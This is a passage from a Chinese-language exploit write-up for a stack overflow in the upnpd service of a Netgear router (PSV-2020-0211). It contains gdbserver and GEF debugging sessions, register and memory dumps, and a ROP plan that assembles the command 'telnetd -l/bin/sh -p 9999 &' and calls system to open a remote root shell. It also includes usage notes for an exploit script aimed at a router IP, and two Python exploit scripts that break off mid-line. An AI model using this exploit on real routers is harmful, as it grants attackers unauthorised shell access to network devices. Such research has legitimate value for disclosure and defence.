``|`` ``|` ` v40``,``ebp``-``0x634``-->+-----------------+` ``` ## 0x04 动态调试 使用gdbserver调试目标程序https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver ``` # ps|grep upnp 2714 0 3324 S ./usr/sbin/upnpd 2788 0 1296 S grep upnp # ./gdbserver 127.0.0.1:12345 --attach 2714 Attached; pid = 2714 Listening on port 12345 ``` 工作机上使用跨平台试gdb-multiarch `gdb-multiarch -x dbgscript` dbgscript 内容 ``` `set`` architecture arm` `gef``-``remote ``-``q ``192.168``.2``.1``:``12345` `file usr``/``sbin``/``upnpd` `set`` remote ``exec``-``file ``/``usr``/``sbin``/upnpd` ``` 直接构造溢出字符，程序不会正常返回，因为栈上存在一个v40的指针v51，需要覆盖为有效地址才能正确返回。 ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/image_23.png) ``` #!/usr/bin/python3 import socket import struct p32 = lambda x: struct.pack(" 2 breakpoint keep y 0x76dc350c 4 breakpoint keep y 0x00025e70 5 breakpoint keep y 0x00025e74 gef➤ search-pattern BBBB [+] Searching 'BBBB' in memory [+] In '/lib/libc.so.0'(0x76d85000-0x76dea000), permission=r-x 0x76de17e4 - 0x76de17e8 → "BBBB[...]" 0x76de1ecc - 0x76de1edb → "BBBBBBBBCCCCCCC" 0x76de1ed0 - 0x76de1edb → "BBBBCCCCCCC" [+] In '[stack]'(0x7eb36000-0x7eb6f000), permission=rw- **0x7eb6cc75** - 0x7eb6ccac → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" 0x7eb6cc79 - 0x7eb6ccb0 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" 0x7eb6cc7d - 0x7eb6ccb4 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" 0x7eb6cc81 - 0x7eb6ccb8 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" 0x7eb6cc85 - 0x7eb6ccbc → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" gef➤ x/s 0x7eb6cc75 0x7eb6cc75: 'B' gef➤ x/s 0x7eb6cc75+1588 0x7eb6d2a9: 'A' ``` 此时程序上下文为 ``` gef➤ context [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────── registers ──── $r0 : 0x7eb6c5fc → 0x00000000 **$r1 : 0x7eb6cc74** → 0x42424200 $r2 : 0x1d $r3 : 0x7eb6c5fc → 0x00000000 **$r4 : 0x7eb6cc74** → 0x42424200 $r5 : 0x0000cf02 → blx 0x10c6586 $r6 : 0x7eb6ecf4 → "192.168.2.1" $r7 : 0x7eb6cc00 → 0x7eb6c5fc → 0x00000000 $r8 : 0x7eb6cc04 → 0x76f10020 → 0x00000000 $r9 : 0x3eaf $r10 : 0x1 $r11 : 0x000c4584 → 0x00000005 $r12 : 0x00055450 → 0x76dc3508 → mov r3, r0 $sp : 0x7eb6c5d8 → "nnection:1" $lr : 0x00025e74 → mov r0, r7 $pc : 0x76dc350c → ldrb r2, [r1], #1 $cpsr: [NEGATIVE zero carry overflow interrupt fast thumb] ───────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x7eb6c5d8│+0x0000: "nnection:1" ← $sp 0x7eb6c5dc│+0x0004: "tion:1" 0x7eb6c5e0│+0x0008: 0x0000313a (":1"?) 0x7eb6c5e4│+0x000c: 0x00000000 0x7eb6c5e8│+0x0010: 0x00000000 0x7eb6c5ec│+0x0014: 0x00000000 0x7eb6c5f0│+0x0018: 0x00000000 0x7eb6c5f4│+0x001c: 0x00000000 ────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ──── 0x76dc3500 bne 0x76dc34f0 0x76dc3504 bx lr 0x76dc3508 mov r3, r0 → 0x76dc350c ldrb r2, [r1], #1 0x76dc3510 cmp r2, #0 0x76dc3514 strb r2, [r3], #1 0x76dc3518 bne 0x76dc350c 0x76dc351c bx lr 0x76dc3520 push {r4, lr} ─────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "upnpd", stopped, reason: BREAKPOINT ───────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x76dc350c → strcpy() [#1] 0x25e74 → mov r0, r7 ──────────────────────────────────────────────────────────────────────────────────────────────────────────── ``` 由于接收 socket 数据的 buffer 未初始化，在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间，也足以给 ROP 的 payload 一片容身之地。 使用 `strcpy` 调用在 bss 上拼接出命令字符串 `telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00`，并调整 R0 指向这段内存，然后跳转 `system` 执行即可。 ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_26.png) ## **0x06 脚本使用说明** |脚本帮助： |usage: python2 PSV-2020-0211.py 【路由器IP】 【任意libc有效地址】 | |--- |--- | |真实利用： |IP:192.168.2.2 Port:upnp/1900 | ||![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083779/netgear/image_27.png) | ``` import socket import time import sys from struct import pack p32 = lambda x: pack("